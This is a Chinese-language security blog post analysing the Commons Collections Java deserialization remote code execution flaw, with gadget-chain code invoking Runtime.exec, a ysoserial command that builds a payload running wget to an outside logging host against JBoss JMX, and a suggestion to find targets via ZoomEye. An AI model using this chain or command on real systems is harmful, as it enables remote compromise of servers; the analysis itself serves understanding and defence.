隱形人真忙 · 2015/11/11 22:40java
這幾天在zone看到了有人說起了有關於common-collections包的RCE漏洞,而且http://zone.wooyun.org/content/23849
給出了具體的原理。做爲一個業餘的安全研究人員,除了會利用以外,還能夠探究一下背後的原理。git
Java反序列化致使的漏洞原理上和PHP反序列同樣,也是因爲用戶的輸入能夠控制咱們傳入的對象。若是服務端程序沒有對用戶可控的序列化代碼進行校驗而是直接進行反序列化使用,而且程序中運行一些比較危險的邏輯(如eval,登陸驗證等),就會觸發一些意想不到的漏洞。實際上,這並非什麼新的問題了,有關於Java中的反序列化致使的漏洞能夠看https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide
瞭解一下。github
而此次,主要探討一下在特殊環境下,反序列化可否達到遠程代碼執行(RCE)。web
參考文章3中給出了exp,而且在zone上有了不少的討論,配合github上的jar文件生成一個序列化字符串,而後發送給漏洞站點就能觸發。關於利用,並非本文的重點。apache
問題從common-collections
工具的各個transformer
提及,這些transform
主要用於對Map的鍵值進行轉化。數組
其中,國外研究人員發現類InvokerTransformer
中的transform
方法容許經過反射執行參數對象的某個方法,並返回執行結果。安全
咱們來寫個代碼測試一下:bash
#!java
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
public static void main(String[] args) {
Transformer transform = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject = transform.transform(new StringBuffer("your name is ")) ;
System.out.println(newObject);
}
}
複製代碼
這裏建立了一個InvokerTransformer
對象,而且調用了它的transform
,參數是個StringBuilder
對象,執行後會輸出一個字符串:java-web
#!java
your name is exploitcat?
複製代碼
能夠看到,經過transform
方法裏的反射,咱們成功調用了StringBuilder
中的append
方法並返回結果,雖然過程有些曲折。這樣,咱們離RCE又近了一步,那麼誰會去調用這些transformer
對象的transform
方法呢?app
調用這些transform
方法的是一個叫TransformedMap
的類,這個類能夠當作原生Map類的一個包裝類(經過TransformedMap.decorate
方法)。進入這個類一探究竟:
這裏的decorate
方法就是對外建立TransformedMap
對象的方法。在代碼中咱們能夠清晰找到transform
方法是如何被調用的。
以及entry
對象調用setValue
時,執行的checkSetValue
:
爲了搞清楚爲啥在setValue
的時候發生了什麼,咱們來看代碼:
#!java
public class TransformTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
innerMap.put("name", "hello") ;
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
elEntry.setValue("hello") ;
}
}
複製代碼
代碼中,咱們將咱們要執行的多行代碼分散到各個transformer
裏,使用InvokeTransformer
類來執行咱們的方法。接着用TransformedMap
來執行transfom
方法觸發代碼。
這裏的原生Map用來被TransformedMap
包裝,而後map的entry
對象調用了setValue
方法。在java環境中執行上面的代碼,最後會彈出計算器:
到目前爲止,咱們找了一些創造RCE的條件:
(1)使用了InvokeTransformer
的對象,並在transform
方法裏執行代碼;
(2)使用TransformedMap
經過執行setValue方法來觸發transform
方法。
對於一個「不講道理」的RCE,顯然須要另外一個好用的類來同時知足上面兩點,而且在readObject
裏進行調用。readObject
方法是java的序列化對象(實現了Serializable
接口)中首先會調用的方法。
這裏配合咱們執行代碼的類就是AnnotationInvocationHandler
,咱們來看看readObject
方法裏面有什麼邏輯:
能夠看到,首先調用了defaultReadObject
來獲取了類屬性type
和memberValues
,找到定義,這兩個東西以下:
在readObject
方法中,類型檢查以前就觸發了咱們對象的方法。從memberValues
參數中獲取了entry
並setValue
,這樣,雖然可能會有類型錯誤,可是代碼卻執行了。符合了以前咱們關於RCE的構想。因此看懂exp就變得很簡單。exp作了一件事情,就是返回一個序列化的handler
對象,對象裏包含了咱們的transformer
對象數組,用來裝載咱們要執行的代碼。
建立handler
的方法以下:
利用反射,獲取到AnnotationInvocationHandler
的構造函數,並傳入了咱們的map,getInstance
返回一個handler
對象,完成了所要求的一切,以後,找個使用可控序列化的地方發送這個序列化handler
便可執行咱們的代碼。
我仍是把exp貼上來吧,這段代碼就是構造咱們的handler
對象:
首先exp裏構造了transformer
對象數組並用LazyMap
進行包裝,包裝後裝到一個handler
對象裏並返回這個handler
。
爲何說這個RCE影響大,具體能夠看看參考文章1中做者給出的幾個案例,能夠看到主流的java-web中間件都受到了影響,包括jboss、WebLogic、 WebSphere等。
以jboss爲例的利用教程,在zone裏zone.wooyun.org/content/238…已經給出步驟了,利用門檻不高,只須要在zoomeye上找jboss來測試便可。
因爲是RCE,因此花樣不少了,這裏我就挑幾個案例,利用CloudEye執行看看,執行命令爲:
#!bash
wget http://your-cloudeye-site
複製代碼
若是成功執行,那麼咱們的cloudeye上應該有日誌的。 具體以下:
#!bash
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget http://your-cloudeye-site' > out.ser
複製代碼
上面的命令是獲取執行wget命令的handler
對象的序列化code,而後咱們訪問jboss裏的JMX服務:
在cloudeye上,成功獲取了訪問記錄:
配合cloudeye,咱們徹底能夠作到命令回顯,不過既然是RCE了,玩兒法就太多了。
實際上,參考文章1中給出了JAVA中使用了序列化的場景:
- In HTTP requests – Parameters, ViewState, Cookies, you name it.
- RMI – The extensively used Java RMI protocol is 100% based on serialization
- RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
- JMX – Again, relies on serialized objects being shot over the wire
- Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
若是想探索這個漏洞的利用,那麼我推薦你閱讀如下這篇文章。
總結下,漏洞產生的主要問題仍是在用戶可控的序列化字符串上,在使用ObjectInputStream
與ObjectOutputStream
類的時候,最好進行白名單校驗,防止意外的發生。 配合參考文章1,估計接下來烏雲上又會颳起一陣腥風血雨。